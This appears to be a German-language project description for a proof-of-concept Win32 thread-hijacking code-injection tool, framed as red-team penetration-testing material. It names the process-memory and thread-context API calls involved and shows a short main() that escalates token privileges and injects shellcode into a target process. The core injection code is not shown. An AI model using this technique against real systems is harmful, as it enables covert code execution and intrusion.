
PoC Thread Execution Hijacking für Win32-Code-Injection
Programm verwendet Thread-Hijacking, um nativen Shellcode in eine Standard-Win32-Anwendung zu injizieren. Ich war 15 Jahre alt, als ich dies erstellte – bitte ignorieren Sie den minderwertigen Code.
Ich habe dieses kleine Projekt entwickelt, um meine Erfahrungen mit verschiedenen Code-Injektionsmethoden zu erweitern und um Sicherheitsexperten des RedTeams zu ermöglichen, diese Methode als einzigartigen Weg für Software-Penetrationstests zu nutzen. Mit Thread-Hijacking kann das hijacker.exe-Programm einen Thread im target.exe-Programm anhalten, sodass wir Shellcode in diesen Zielthread schreiben können, der später ausgeführt wird (via WriteProcessMemory(), SetThreadContext(), ResumeThread(), CreateThread()).

int main()
{
System sys;
Interceptor incp;
Exception exp;
sys.returnVersionState();
if (sys.returnPrivilegeEscalationState())
{
std::cout << "Token Privileges Adjusted\n";
}
if (DWORD m_procId = incp.FindWin32ProcessId((PCHAR)m_win32ProcessName))
{
incp.ExecuteWin32Shellcode(m_procId);
}
system("PAUSE");
return 0;
}
https://capec.mitre.org/data/definitions/30.html